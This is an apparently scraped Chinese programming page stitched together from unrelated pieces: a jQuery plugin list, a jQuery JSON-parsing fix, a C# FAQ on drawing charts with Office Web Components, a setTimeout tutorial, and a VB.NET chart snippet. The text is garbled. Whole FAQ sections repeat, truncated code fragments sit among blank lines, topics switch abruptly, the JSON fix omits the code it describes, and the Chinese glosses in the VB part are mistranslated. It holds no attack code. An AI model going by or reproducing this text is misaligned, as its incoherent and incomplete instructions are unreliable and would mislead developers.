Link Scrubber - removes the dotted line onfocus from links.
jQuery Perciformes - the entire suckerfish familly under one roof.
Background Iframe.
QinIE - for proper display of Q tags in IE.
jQuery Accessibility Plugin.
jQuery MouseWheel Plugin.

对话框、确认窗口(Alert, Prompt, Confirm Windows)

jQuery Impromptu.
jQuery Confirm Plugin.
jqModal.
SimpleModal.

CSS

jQuery Style Switcher.
JSS - Javascript StyleSheets.
jQuery Rule - creation/manipulation of CSS Rules.
jPrintArea.

DOM、AJAX和其它JQuery插件（DOM, Ajax and other jQuery plugins）

FlyDOM.
jQuery Dimenion Plugin.
jQuery Loggin.
Metadata - extract metadata from classes, attributes, elements.
Super-tiny Client-Side Include Javascript jQuery Plugin.
Undo Made Easy with Ajax.
JHeartbeat - periodically poll the server.
Lazy Load Plugin.
Live Query.
jQuery Timers.
jQuery Share it - display social bookmarking icons.
jQuery serverCookieJar.
jQuery autoSave.
jQuery Puffer.
jQuery iFrame Plugin.
Cookie Plugin for jQuery.
jQuery Spy - awesome plugin.
Effect Delay Trick.
jQuick - a quick tag creator for jQuery.
Metaobjects.
elementReady.

原json文件内容为：

{
    label: 'Europe (EU27)',
    data: [[1999, 3.0], [2000, 3.9], [2001, 2.0], [2002, 1.2], [2003, 1.3], [2004, 2.5], [2005, 2.0], [2006, 3.1], [2007, 2.9], [2008, 0.9]]
}

解决方法一：

改成标准的json格式，要求对字符串都使用""限定，修改后的内容为：

{
    "label": "Europe (EU27)",
    "data": [[1999, 3.0], [2000, 3.9], [2001, 2.0], [2002, 1.2], [2003, 1.3], [2004, 2.5], [2005, 2.0], [2006, 3.1], [2007, 2.9], [2008, 0.9]]
}

这样就可以正常加载了。

解决方法二：

在jQuery-1.4.2.js中找到"parseJSON: function"，可发现有如下代码：

在httpData: function中用到了parseJSON函数：

在jQuery1.3.2中，没有parseJSON这个方法，而是直接使用下面的代码。

替换成原来1.3.2的代码就可以了。

OWC，即Office Web Components，是微软随Office提供的绘图控件，使用它能够绘制绝大部分的图形，但不幸的是OWC的帮助文件并不好用，网上关于OWC的文章也都很简单，稍微深入一点的问题就很难搜到。所以，把自己研究OWC的一些心得写在这里，希望能帮助有需要的朋友，使他们不必再去翻看长长的对象（属性、方法）列表。除此之外，也有一些功能还未实现，希望与大家一起探讨。

注：本文只谈论OWC使用中的技术问题，不涉及OWC引用，授权，版本等方面。文中给出的示例代码基于OWC11 ＋ VS.NET ＋ C＃。

Q：OWC有帮助吗？它在哪儿？

A：有的。安装Office之后，在C:\Program Files\Common Files\Microsoft Shared\Web Components\11\2052目录下面，有几个*.chm文件，便是，如果你没有这几个文件，尝试把Office完全安装一下试试，或者自定义安装的时候选中相应的选项。但它们是针对如何在Excel中使用，而不是在.Net或Java或Dephi中如何使用的，它只是按字母顺序列出了OWC组件所有的对象、集合、方法、属性、枚举，以及少量的示例代码，查找很不方便。我主要参看了其中的OWCDCH11.CHM文件。

Q：OWC的帮助好难用啊，有没有什么办法能更高效地使用它？

A：如果有，那可能是借助Excel罢。先打开Excel的录制宏功能，在Excel里把你要实现的图形样式调出来，再去查看宏代码中用到了哪些OWC的特性。理论上，只要是在Excel里面能实现的，通过程序里面也能实现。我用这种方法解决了好几个问题。什么？你不会录制宏？……请使用Google。

Q：OWC能绘制哪些类型的图形？

A：OWC提供面积图、柱状图、条形图、折线图、平滑曲线图、饼图、圆环图、股价图、散点图、雷达图。其中有些图形包括二维和三维的，有些图形又包含好几种，比如柱状图包括单柱状图，簇形柱状图，一个柱好几个颜色的柱状图等。具体类型请参看OWCDCH11.CHM文件中的枚举：ChartChartTypeEnum。

Q：介绍一下OWC的主要对象、属性、方法罢。

A：请参看下面的示例图。

      ChartSpace对象：图形容器对象，也是顶层对象。如果要使用OWC绘制图形，至少要创建一个ChartSpace对象。所谓容器，就是说ChartSpace对象中可以包含多个图形对象，最多16个。

ChChart对象、ChCharts集合、ChCharts.Add()方法：ChChart是图形对象。一个柱状图、饼状图、散点图等都是一个图形对象，多个图形对象构成ChCharts集合。ChartSpace对象就包含一个ChCharts集合，这些ChChart之间互相叠加，比如簇状条形图就是多个单柱状图的叠加，圆环套圆环图就是两个单圆环图的叠加。通过ChCharts.Add()方法增加一个图形。

ChSeries对象、ChSeriesCollection集合、ChSeriesCollection.Add()方法：帮助中说：一个ChSeries对象表示图中的一个系列。实际上，你可以这样理解，当图形容器中包含多个图形时，一个ChSeries对象就表示其中的一个图形，可以通过ChSeriesCollection集合，可以使用数组的方式访问各个ChSeries，比如ChSeriesCollection[0]表示第一个图形。使用ChSeriesCollection.Add()方法在当前容器中新增一个图形。

Point属性和Points集合：一个Point代表图形中的一个部分，比如柱状图的一条柱，饼状图的一个扇区等。ChChart对象提供Points集合，可以使用数组的形式访问各个Point，比如Points[0]表示第1个部分。

Interior属性：代表一个形状的内部空间。比如，ChartSpace对象的Interior属性代表图形容器内、图形外的空间，一个扇区Interior属性表示该扇区的内部空间。该属性在设置图形各个部分的颜色时起到重要作用。

窃以为，以上对象和属性的理解、使用非常关键，顺着它们找下去，标题、图例、数据标签、字体等重要的特性都能顺利找到。

Q：所有不同类型的图形都能叠加么？

A：不是。经测试，柱状图＋柱状图叠加可以，散点图＋平滑曲线图叠加也可以，但柱状图＋饼状图就不行，至于什么图形能叠加，什么图形不能叠加，似乎帮助中并没有明确给出。

Q：标题的字体、图例的位置、图形边框的颜色，这些可以自定义么？

A：可以。请参看下面的示例程序。

 1        /// <summary>
 2        /// 自定义标题的字体、图例的位置、图形边框的颜色。
 3        /// </summary>
 4        public void ChartDetail()
 5        {
 6            //创建一个图形容器对象
 7            OWC11.ChartSpace objCSpace = new OWC11.ChartSpaceClass();
 8            //在图形容器中增加一个图形对象
 9            OWC11.ChChart objChart = objCSpace.Charts.Add(0);
10            //将图形的类型设置为柱状图的一种
11            objChart.Type = OWC11.ChartChartTypeEnum.chChartTypeColumnStacked;
12            //将图形容器的边框颜色设置为白色
13            objCSpace.Border.Color = "White";
14 
15            //显示标题
16            objChart.HasTitle = true;
17            //设置标题内容
18            objChart.Title.Caption = "统计图测试";
19            //设置标题字体的大小
20            objChart.Title.Font.Size = 10;
21            //设置标题为粗体
22            objChart.Title.Font.Bold = true;
23            //设置标题颜色为红色
24            objChart.Title.Font.Color = "Red";
25
26            //显示图例
27            objChart.HasLegend = true;
28            //设置图例字体大小
29            objChart.Legend.Font.Size = 10;
30            //设置图例位置为底端
31            objChart.Legend.Position = OWC11.ChartLegendPositionEnum.chLegendPositionBottom;
32
33            //在图形对象中添加一个系列
34            objChart.SeriesCollection.Add(0);
35            //给定系列的名字
36            objChart.SeriesCollection[0].SetData (OWC11.ChartDimensionsEnum.chDimSeriesNames,
37                + (int)OWC11.ChartSpecialDataSourcesEnum.chDataLiteral, "指标");
38            //给定值
39            objChart.SeriesCollection[0].SetData (OWC11.ChartDimensionsEnum.chDimValues,
40                + (int)OWC11.ChartSpecialDataSourcesEnum.chDataLiteral, "10\t40\t58\t55\t44");
41
42            //显示数据，创建GIF文件的相对路径.
43            string FileName = DateTime.Now.Hour.ToString() + DateTime.Now.Minute.ToString()
       + DateTime.Now.Second.ToString() + DateTime.Now.Millisecond.ToString() + ".gif";
44            objCSpace.ExportPicture(@"E:\Projects\Study\OwcImg\ChartDetail.gif", "GIF", 450, 300); 
45            Image1.ImageUrl = "Http://localhost/Study/OwcImg/ChartDetail.gif";
46        }
47

Q：OWC提供的颜色好难看，我可以自定义饼状图、柱状图各个部分的颜色么？

A：可以。请参看下面对柱状图设置颜色的示例程序，饼状图与此同理。

 1        /// <summary>
 2        /// 自定义柱状图的颜色。
 3        /// </summary>
 4        public void ChartColor()
 5        {
 6            //创建一个图形容器对象
 7            OWC11.ChartSpace objCSpace = new OWC11.ChartSpaceClass();
 8            //在图形容器中增加一个图形对象
 9            OWC11.ChChart objChart = objCSpace.Charts.Add(0);
10            //将图形的类型设置为柱状图的一种
11            objChart.Type = OWC11.ChartChartTypeEnum.chChartTypeColumnStacked;
12 
13            //显示标题
14            objChart.HasTitle = true;
15            //设置标题内容
16            objChart.Title.Caption = "统计图测试";
17            //显示图例
18            objChart.HasLegend = true;
19
20            //在图形对象中添加一个系列
21            objChart.SeriesCollection.Add(0);
22            //给定系列的名字
23            objChart.SeriesCollection[0].SetData (OWC11.ChartDimensionsEnum.chDimSeriesNames,
24                + (int)OWC11.ChartSpecialDataSourcesEnum.chDataLiteral, "指标");
25            //给定值
26            objChart.SeriesCollection[0].SetData (OWC11.ChartDimensionsEnum.chDimValues,
27                + (int)OWC11.ChartSpecialDataSourcesEnum.chDataLiteral, "10\t40\t58\t55\t44");
28            
29            //将柱状图的第一条柱设置为红色
30            //Point：代表图中的一部分，比如柱图的一条柱，饼图的一个扇区
31            //Interior：表示指定对象的内部
32            objChart.SeriesCollection[0].Points[0].Interior.Color = "Red";
33
34            //显示数据，创建GIF文件的相对路径.
35            string FileName = DateTime.Now.Hour.ToString() + DateTime.Now.Minute.ToString()
  + DateTime.Now.Second.ToString() + DateTime.Now.Millisecond.ToString() + ".gif";
36            objCSpace.ExportPicture(@"E:\Projects\Study\OwcImg\ChartColor.gif", "GIF", 450, 300); 
37            Image2.ImageUrl = "Http://localhost/Study/OwcImg/ChartColor.gif";
38        }
39

Q：饼状图能显示各个部分的值以及所占的百分比么？

A：可以。请参看下面的示例程序。

 1        /// <summary>
 2        /// 让饼状图显示各部分的值和百分比。
 3        /// </summary>
 4        public void ChartPersent()
 5        {
 6            //创建一个图形容器对象
 7            OWC11.ChartSpace objCSpace = new OWC11.ChartSpaceClass();
 8            //在图形容器中增加一个图形对象
 9            OWC11.ChChart objChart = objCSpace.Charts.Add(0);
10            //将图形的类型设置为柱状图的一种
11            objChart.Type = OWC11.ChartChartTypeEnum.chChartTypePie;
12 
13            //在图形对象中添加一个系列
14            objChart.SeriesCollection.Add(0);
15            //给定系列的名字
16            objChart.SeriesCollection[0].SetData (OWC11.ChartDimensionsEnum.chDimSeriesNames,
17                + (int)OWC11.ChartSpecialDataSourcesEnum.chDataLiteral, "指标");
18            //给定值
19            objChart.SeriesCollection[0].SetData (OWC11.ChartDimensionsEnum.chDimValues,
20                + (int)OWC11.ChartSpecialDataSourcesEnum.chDataLiteral, "10\t40\t58\t55\t44");
21
22            //增加数据值标签
23            objChart.SeriesCollection[0].DataLabelsCollection.Add();
24            //显示各部分的数值
25            objChart.SeriesCollection[0].DataLabelsCollection[0].HasValue = true;
26            //显示各部分的百分比
27            objChart.SeriesCollection[0].DataLabelsCollection[0].HasPercentage = true;
28            
29            //显示数据，创建GIF文件的相对路径.
30            string FileName = DateTime.Now.Hour.ToString() + DateTime.Now.Minute.ToString()
    + DateTime.Now.Second.ToString() + DateTime.Now.Millisecond.ToString() + ".gif";
31            objCSpace.ExportPicture(@"E:\Projects\Study\OwcImg\ChartPersent.gif", "GIF", 450, 300); 
32            Image3.ImageUrl = "Http://localhost/Study/OwcImg/ChartPersent.gif";
33        }
34

Q：我能将饼状图的某个部分抽出来以表示它与众不同么？

A：可以。请参看下面的示例程序。

 1        /// <summary>
 2        /// 抽出饼状图的一部分。
 3        /// </summary>
 4        public void ChartPart()
 5        {
 6            //创建一个图形容器对象
 7            OWC11.ChartSpace objCSpace = new OWC11.ChartSpaceClass();
 8            //在图形容器中增加一个图形对象
 9            OWC11.ChChart objChart = objCSpace.Charts.Add(0);
10            //将图形的类型设置为饼状图的一种
11            objChart.Type = OWC11.ChartChartTypeEnum.chChartTypePie;
12 
13            //在图形对象中添加一个系列
14            objChart.SeriesCollection.Add(0);
15            //给定系列的名字
16            objChart.SeriesCollection[0].SetData (OWC11.ChartDimensionsEnum.chDimSeriesNames,
17                + (int)OWC11.ChartSpecialDataSourcesEnum.chDataLiteral, "指标");
18            //给定值
19            objChart.SeriesCollection[0].SetData (OWC11.ChartDimensionsEnum.chDimValues,
20                + (int)OWC11.ChartSpecialDataSourcesEnum.chDataLiteral, "10\t40\t58\t55\t44");
21
22            //将第三个扇区抽离出来
23            //Explosion：返回或设置指定饼图或圆环图扇面的分离程度值。有效范围为 0 到 1000。分离程度值等于图表半径的百分比。
24            //Long 类型，可读写。
25            objChart.SeriesCollection[0].Points[2].Explosion = 45;
26            
27            //显示数据，创建GIF文件的相对路径.
28            string FileName = DateTime.Now.Hour.ToString() + DateTime.Now.Minute.ToString()
  + DateTime.Now.Second.ToString() + DateTime.Now.Millisecond.ToString() + ".gif";
29            objCSpace.ExportPicture(@"E:\Projects\Study\OwcImg\ChartPart.gif", "GIF", 450, 300); 
30            Image4.ImageUrl = "Http://localhost/Study/OwcImg/ChartPart.gif";
31        }
32

Q：我能将饼状图的某个部分设置纹理以表示它与众不同么？

A：可以。请参看下面的示例程序。

 1        /// <summary>
 2        /// 设置饼状图扇区的各种纹理。
 3        /// </summary>
 4        public void ChartText()
 5        {
 6            //创建一个图形容器对象
 7            OWC11.ChartSpace objCSpace = new OWC11.ChartSpaceClass();
 8            //在图形容器中增加一个图形对象
 9            OWC11.ChChart objChart = objCSpace.Charts.Add(0);
10            //将图形的类型设置为饼状图的一种
11            objChart.Type = OWC11.ChartChartTypeEnum.chChartTypePie;
12 
13            //在图形对象中添加一个系列
14            objChart.SeriesCollection.Add(0);
15            //给定系列的名字
16            objChart.SeriesCollection[0].SetData (OWC11.ChartDimensionsEnum.chDimSeriesNames,
17                + (int)OWC11.ChartSpecialDataSourcesEnum.chDataLiteral, "指标");
18            //给定值
19            objChart.SeriesCollection[0].SetData (OWC11.ChartDimensionsEnum.chDimValues,
20                + (int)OWC11.ChartSpecialDataSourcesEnum.chDataLiteral, "10\t40\t58\t55\t44\t55");
21
22            //给第一个扇区设置自定义背景图片
23            objChart.SeriesCollection[0].Points[0].Interior.SetTextured("E:\\Projects\\DotNetNuke\\images\\add.gif", 
24                OWC11.ChartTextureFormatEnum.chTile,
25                1,
26                OWC11.ChartTexturePlacementEnum.chFrontSides);
27            //给第二个扇区设置从中心向四周辐射的单色渐变
28            objChart.SeriesCollection[0].Points[1].Interior.SetOneColorGradient(OWC11.ChartGradientStyleEnum.chGradientFromCenter,
  OWC11.ChartGradientVariantEnum.chGradientVariantStart,0.3,"Blue");
29            //给第三个扇区设置倾斜双色渐变
30            objChart.SeriesCollection[0].Points[2].Interior.SetTwoColorGradient(OWC11.ChartGradientStyleEnum.chGradientDiagonalDown,
  OWC11.ChartGradientVariantEnum.chGradientVariantCenter,"Green","Red");
31            //给第四个扇区设置OWC预设的纹理，并设置纹理的背景色为淡绿色，前景色为红色
32            //OWC提供了很多纹理，这是其中一种
33            //具体的纹理样式可以参看帮助中的ChartPatternTypeEnum枚举
34            objChart.SeriesCollection[0].Points[3].Interior.SetPatterned(OWC11.ChartPatternTypeEnum.chPatternDiagonalBrick,
  "Red","LightGreen");
35            //给第五个扇区设置OWC预设的倾斜，
36            //OWC提供了许多种的倾斜，这是其中一种
37            //具体的倾斜可以参看帮助中的ChartPresetGradientTypeEnum枚举
38            objChart.SeriesCollection[0].Points[4].Interior.SetPresetGradient(OWC11.ChartGradientStyleEnum.chGradientDiagonalUp,
   OWC11.ChartGradientVariantEnum.chGradientVariantEdges,OWC11.ChartPresetGradientTypeEnum.chGradientGoldII);
39          
40            //显示数据，创建GIF文件的相对路径.
41            string FileName = DateTime.Now.Hour.ToString() + DateTime.Now.Minute.ToString()
  + DateTime.Now.Second.ToString() + DateTime.Now.Millisecond.ToString() + ".gif";
42            objCSpace.ExportPicture(@"E:\Projects\Study\OwcImg\ChartText.gif", "GIF", 450, 300); 
43            Image5.ImageUrl = "Http://localhost/Study/OwcImg/ChartText.gif";
44        }    
45

Q：我能给散点图加上一条趋势线么？

A：可以。请参看下面的示例程序。

 1        /// <summary>
 2        /// 设置散点图的趋势线。
 3        /// </summary>
 4        public void ChartLine()
 5        {
 6            //创建一个图形容器对象
 7            OWC11.ChartSpace objCSpace = new OWC11.ChartSpaceClass();
 8            //在图形容器中增加一个图形对象
 9            OWC11.ChChart objChart = objCSpace.Charts.Add(0);
10            //将图形的类型设置为柱状图的一种
11            objChart.Type = OWC11.ChartChartTypeEnum.chChartTypeScatterMarkers;
12 
13            //添加一个series
14            objChart.SeriesCollection.Add(0);
15            //给定series的名字
16            objChart.SeriesCollection[0].SetData (OWC11.ChartDimensionsEnum.chDimSeriesNames,
17                + (int)OWC11.ChartSpecialDataSourcesEnum.chDataLiteral, "生产率");
18            //给定X值
19            objChart.SeriesCollection[0].SetData (OWC11.ChartDimensionsEnum.chDimXValues,
20                + (int)OWC11.ChartSpecialDataSourcesEnum.chDataLiteral, "10\t40\t58");
21            //给定Y值
22            objChart.SeriesCollection[0].SetData (OWC11.ChartDimensionsEnum.chDimYValues,
23                + (int)OWC11.ChartSpecialDataSourcesEnum.chDataLiteral, "5\t10\t12");
24
25            //增加趋势线
26            objChart.SeriesCollection[0].Trendlines.Add();                             
27            //是否显示函数
28            objChart.SeriesCollection[0].Trendlines[0].IsDisplayingEquation = true;    
29            //是否显示平方
30            objChart.SeriesCollection[0].Trendlines[0].IsDisplayingRSquared = true;     
31            //设置趋势线标题
32            objChart.SeriesCollection[0].Trendlines[0].Caption = "TrendLine";          
33            //设置趋势线类型，
34            //OWC提供了4种趋势线类型，具体可参看帮助的ChartTrendlineTypeEnum枚举
35            objChart.SeriesCollection[0].Trendlines[0].Type = OWC11.ChartTrendlineTypeEnum.chTrendlineTypePolynomial;
36          
37            //显示数据，创建GIF文件的相对路径.
38            string FileName = DateTime.Now.Hour.ToString() + DateTime.Now.Minute.ToString()
  + DateTime.Now.Second.ToString() + DateTime.Now.Millisecond.ToString() + ".gif";
39            objCSpace.ExportPicture(@"E:\Projects\Study\OwcImg\ChartLine.gif", "GIF", 450, 300); 
40            Image6.ImageUrl = "Http://localhost/Study/OwcImg/ChartLine.gif";
41        }        
42

Q：哪些功能还没实现？

A：如下功能我还没有实现：

ü         设置坐标轴的刻度（找到了方法，帮助中也有相应的示例代码，但我这里运行失败）

ü         去掉图形边框（目前只能设置颜色，还不知如何彻底去掉）

ü         将饼图的数值、百分比标签显示在饼图周围（目前只能显示在扇区中）

ü         显示数据标签的引导线（未找到）

ü         其他

            

            

 

            

            

                

            

                

            

            

            

            

            

            objCSpace.ExportPicture(

            Image3.ImageUrl 

        }

Q：我能将饼状图的某个部分抽出来以表示它与众不同么？

A：可以。请参看下面的示例程序。

 1        /// <summary>
 2        /// 抽出饼状图的一部分。
 3        /// </summary>
 4        public void ChartPart()
 5        {
 6            //创建一个图形容器对象
 7            OWC11.ChartSpace objCSpace = new OWC11.ChartSpaceClass();
 8            //在图形容器中增加一个图形对象
 9            OWC11.ChChart objChart = objCSpace.Charts.Add(0);
10            //将图形的类型设置为饼状图的一种
11            objChart.Type = OWC11.ChartChartTypeEnum.chChartTypePie;
12 
13            //在图形对象中添加一个系列
14            objChart.SeriesCollection.Add(0);
15            //给定系列的名字
16            objChart.SeriesCollection[0].SetData (OWC11.ChartDimensionsEnum.chDimSeriesNames,
17                + (int)OWC11.ChartSpecialDataSourcesEnum.chDataLiteral, "指标");
18            //给定值
19            objChart.SeriesCollection[0].SetData (OWC11.ChartDimensionsEnum.chDimValues,
20                + (int)OWC11.ChartSpecialDataSourcesEnum.chDataLiteral, "10\t40\t58\t55\t44");
21
22            //将第三个扇区抽离出来
23            //Explosion：返回或设置指定饼图或圆环图扇面的分离程度值。有效范围为 0 到 1000。分离程度值等于图表半径的百分比。
24            //Long 类型，可读写。
25            objChart.SeriesCollection[0].Points[2].Explosion = 45;
26            
27            //显示数据，创建GIF文件的相对路径.
28            string FileName = DateTime.Now.Hour.ToString() + DateTime.Now.Minute.ToString()
  + DateTime.Now.Second.ToString() + DateTime.Now.Millisecond.ToString() + ".gif";
29            objCSpace.ExportPicture(@"E:\Projects\Study\OwcImg\ChartPart.gif", "GIF", 450, 300); 
30            Image4.ImageUrl = "Http://localhost/Study/OwcImg/ChartPart.gif";
31        }
32

Q：我能将饼状图的某个部分设置纹理以表示它与众不同么？

A：可以。请参看下面的示例程序。

 1        /// <summary>
 2        /// 设置饼状图扇区的各种纹理。
 3        /// </summary>
 4        public void ChartText()
 5        {
 6            //创建一个图形容器对象
 7            OWC11.ChartSpace objCSpace = new OWC11.ChartSpaceClass();
 8            //在图形容器中增加一个图形对象
 9            OWC11.ChChart objChart = objCSpace.Charts.Add(0);
10            //将图形的类型设置为饼状图的一种
11            objChart.Type = OWC11.ChartChartTypeEnum.chChartTypePie;
12 
13            //在图形对象中添加一个系列
14            objChart.SeriesCollection.Add(0);
15            //给定系列的名字
16            objChart.SeriesCollection[0].SetData (OWC11.ChartDimensionsEnum.chDimSeriesNames,
17                + (int)OWC11.ChartSpecialDataSourcesEnum.chDataLiteral, "指标");
18            //给定值
19            objChart.SeriesCollection[0].SetData (OWC11.ChartDimensionsEnum.chDimValues,
20                + (int)OWC11.ChartSpecialDataSourcesEnum.chDataLiteral, "10\t40\t58\t55\t44\t55");
21
22            //给第一个扇区设置自定义背景图片
23            objChart.SeriesCollection[0].Points[0].Interior.SetTextured("E:\\Projects\\DotNetNuke\\images\\add.gif", 
24                OWC11.ChartTextureFormatEnum.chTile,
25                1,
26                OWC11.ChartTexturePlacementEnum.chFrontSides);
27            //给第二个扇区设置从中心向四周辐射的单色渐变
28            objChart.SeriesCollection[0].Points[1].Interior.SetOneColorGradient(OWC11.ChartGradientStyleEnum.chGradientFromCenter,
  OWC11.ChartGradientVariantEnum.chGradientVariantStart,0.3,"Blue");
29            //给第三个扇区设置倾斜双色渐变
30            objChart.SeriesCollection[0].Points[2].Interior.SetTwoColorGradient(OWC11.ChartGradientStyleEnum.chGradientDiagonalDown,
  OWC11.ChartGradientVariantEnum.chGradientVariantCenter,"Green","Red");
31            //给第四个扇区设置OWC预设的纹理，并设置纹理的背景色为淡绿色，前景色为红色
32            //OWC提供了很多纹理，这是其中一种
33            //具体的纹理样式可以参看帮助中的ChartPatternTypeEnum枚举
34            objChart.SeriesCollection[0].Points[3].Interior.SetPatterned(OWC11.ChartPatternTypeEnum.chPatternDiagonalBrick,
  "Red","LightGreen");
35            //给第五个扇区设置OWC预设的倾斜，
36            //OWC提供了许多种的倾斜，这是其中一种
37            //具体的倾斜可以参看帮助中的ChartPresetGradientTypeEnum枚举
38            objChart.SeriesCollection[0].Points[4].Interior.SetPresetGradient(OWC11.ChartGradientStyleEnum.chGradientDiagonalUp,
   OWC11.ChartGradientVariantEnum.chGradientVariantEdges,OWC11.ChartPresetGradientTypeEnum.chGradientGoldII);
39          
40            //显示数据，创建GIF文件的相对路径.
41            string FileName = DateTime.Now.Hour.ToString() + DateTime.Now.Minute.ToString()
  + DateTime.Now.Second.ToString() + DateTime.Now.Millisecond.ToString() + ".gif";
42            objCSpace.ExportPicture(@"E:\Projects\Study\OwcImg\ChartText.gif", "GIF", 450, 300); 
43            Image5.ImageUrl = "Http://localhost/Study/OwcImg/ChartText.gif";
44        }    
45

Q：我能给散点图加上一条趋势线么？

A：可以。请参看下面的示例程序。

 1        /// <summary>
 2        /// 设置散点图的趋势线。
 3        /// </summary>
 4        public void ChartLine()
 5        {
 6            //创建一个图形容器对象
 7            OWC11.ChartSpace objCSpace = new OWC11.ChartSpaceClass();
 8            //在图形容器中增加一个图形对象
 9            OWC11.ChChart objChart = objCSpace.Charts.Add(0);
10            //将图形的类型设置为柱状图的一种
11            objChart.Type = OWC11.ChartChartTypeEnum.chChartTypeScatterMarkers;
12 
13            //添加一个series
14            objChart.SeriesCollection.Add(0);
15            //给定series的名字
16            objChart.SeriesCollection[0].SetData (OWC11.ChartDimensionsEnum.chDimSeriesNames,
17                + (int)OWC11.ChartSpecialDataSourcesEnum.chDataLiteral, "生产率");
18            //给定X值
19            objChart.SeriesCollection[0].SetData (OWC11.ChartDimensionsEnum.chDimXValues,
20                + (int)OWC11.ChartSpecialDataSourcesEnum.chDataLiteral, "10\t40\t58");
21            //给定Y值
22            objChart.SeriesCollection[0].SetData (OWC11.ChartDimensionsEnum.chDimYValues,
23                + (int)OWC11.ChartSpecialDataSourcesEnum.chDataLiteral, "5\t10\t12");
24
25            //增加趋势线
26            objChart.SeriesCollection[0].Trendlines.Add();                             
27            //是否显示函数
28            objChart.SeriesCollection[0].Trendlines[0].IsDisplayingEquation = true;    
29            //是否显示平方
30            objChart.SeriesCollection[0].Trendlines[0].IsDisplayingRSquared = true;     
31            //设置趋势线标题
32            objChart.SeriesCollection[0].Trendlines[0].Caption = "TrendLine";          
33            //设置趋势线类型，
34            //OWC提供了4种趋势线类型，具体可参看帮助的ChartTrendlineTypeEnum枚举
35            objChart.SeriesCollection[0].Trendlines[0].Type = OWC11.ChartTrendlineTypeEnum.chTrendlineTypePolynomial;
36          
37            //显示数据，创建GIF文件的相对路径.
38            string FileName = DateTime.Now.Hour.ToString() + DateTime.Now.Minute.ToString()
  + DateTime.Now.Second.ToString() + DateTime.Now.Millisecond.ToString() + ".gif";
39            objCSpace.ExportPicture(@"E:\Projects\Study\OwcImg\ChartLine.gif", "GIF", 450, 300); 
40            Image6.ImageUrl = "Http://localhost/Study/OwcImg/ChartLine.gif";
41        }        
42

Q：哪些功能还没实现？

A：如下功能我还没有实现：

ü         设置坐标轴的刻度（找到了方法，帮助中也有相应的示例代码，但我这里运行失败）

ü         去掉图形边框（目前只能设置颜色，还不知如何彻底去掉）

ü         将饼图的数值、百分比标签显示在饼图周围（目前只能显示在扇区中）

ü         显示数据标签的引导线（未找到）

ü         其他

             1.1 SetTimeOut()语法例子

             1.2 用SetTimeOut()执行Function

             1.3 SetTimeOut()语法例子

             1.4 设定条件使SetTimeOut()停止

             1.5 计分及秒的counter

   2. ClearTimeout()

   3. Set Flag  

10.1　setTimeout( )
setTimeout( ) 是屬於 window 的 method, 但我們都是略去 window 這頂層物件名稱, 這是用來設定一個時間, 時間到了, 就會執行一個指定的 method。請先看以下一個簡單, 這是沒有實際用途的例子, 只是用來示範 setTimeout( ) 的語法。

1.　setTimeout( ) 語法例子

練習-69　等候三秒才執行的 alert( )

　　在 第 3 章 說到 alert 對話盒, 一般是用按鈕叫出來, 在這練習, 你會看到網頁開啟後 3 秒, 就會自動出現一個 alert 對話盒。

1.　請用瀏覽器開啟示範磁碟中的 timeout1.htm, 這檔案有以下內容:

<html> <body bgcolor=lightcyan text=red>
<h1> <font color=blue> 示範網頁 </font> </h1> <p> </br>
<p> 請等三秒!

<script>
setTimeout("alert('對不起, 要你久候')", 3000 )
</script>

</body> </html>

2.　留意網頁開啟後三秒, 就會出現一個 alert 對話盒。

　　setTimeout( ) 是設定一個指定等候時間 (單位是千分之一秒, millisecond), 時間到了, 瀏覽器就會執行一個指定的 method 或 function, 有以下語法:

　　今次例子是設定等 3 秒 (3000 milliseconds), 瀏覽器就會執行 alert( ) 這一個method。

2.　用 setTimeout( ) 來執行 function
setTimeout( ) 通常是與 function 一起使用, 以下是一個較上個練習複雜的例子。

練習-70　狀態列中自動消失的文字

　　在練習-20, 你看過如何用按鈕在狀態列顯示文字, 然後再用按鈕消除文字, 在這練習, 你看到如何用按鈕在狀態列顯示文字, 而這文字會在三秒後自動消失。

1.　請用瀏覽器開啟示範磁碟中的 timeout2.htm, 這檔案有以下內容:

<html> <body bgcolor=lightcyan text=red>
<h1> <font color=blue> 示範網頁 </font> </h1> <p> </br>

<script>
function clearWord( )
{　window.status=""　}
</script>

<form>
<input type="button" value="在狀態列顯示文字"
onClick="window.status='Hello' , setTimeout('clearWord( )', 3000) ">
</form>
</body> </html>

2.　請在按鈕上按一下, 你應見到狀態列出現 Hello 這字, 留意過了三秒, 這字就會消失。

1.　這處先設定一個名為 clearWord( ) 的 function, 作以下定義:

window.status=""

　　這是用來消除狀態列的文字 (請看練習-20 的說明), 瀏覽器執行 clearWord( ) , 就會消除狀態列的文字。

2.　今次按鈕設定了啟動以下兩項工作, 用 ， 分隔, 瀏覽器會順序執行這兩項工作:

onClick="window.status='Hello' , setTimeout('clearWord( )', 3000) "

3.　今次的 setTimeout( ) 有以下設定:

Dim XValues As New List(Of DateTime)
Dim YValues As New List(Of Double)

Dim xObjects, yObjects As Object()
Dim tmp = From x In XValues Select CObj(x.ToString("yyyy-MM-dd"))
xObjects = tmp.ToArray()
Dim tmp2 = From y In YValues Select CObj(y)
yObjects = tmp2.ToArray()

I prefer manual calculation for the maxima and minima of the y-Axis of the graph.
我喜欢手工计算的最大值和最小值的Y -图的轴。

'Determine maxima and minima of Y
Dim yMax As Decimal = YValues.Max()

Dim yMin As Decimal = YValues.Min()
yMin = Math.Floor(yMin / 10) * 10 'Round the minimum to standard number
yMax = Math.Ceiling(yMax / 10) * 10 'Round the maximum to standard number

Creating the Chart Body
创建图表机构

In Windows application, pull a control named Microsoft Office Chart 11.0 from the toolbox, and it should be named AxChartSpace1 in the form.
在Windows应用程序，拉从工具箱名为Microsoft Office图表11.0控制，并应名为形式AxChartSpace1。
Remove the charts in the control using the following code. (Why is there no Clear() method?)
删除控件中的图表使用以下代码。 （为什么没有清除（）方法？）
If AxChartSpace1.Charts.Count > 0 Then AxChartSpace1.Charts.Delete(0)
The following code prepare the chart body. (Sorry, I am going to use lots of With statement here.)
下面的代码编制图表机构。 （对不起，我会使用这里有许多的声明。）

Dim chart As ChChart = AxChartSpace1.Charts.Add()
With chart
.HasTitle = True
.Title.Caption = "Line Graph using date in x-axis"
.Title.Font.Name = "Arial"
.Type = ChartChartTypeEnum.chChartTypeSmoothLine
.PlotArea.Interior.SetSolid("White")
End With

Series
系列
We are going to set the Series data (The X, Y valeus data), using the SetData commands.For X Axis, use ChartDimensionsEnum.chDimCategories.For Y Axis, use ChartDimensionsEnum.chDimValues.And then put the X, Y object values that you have created earlier here.
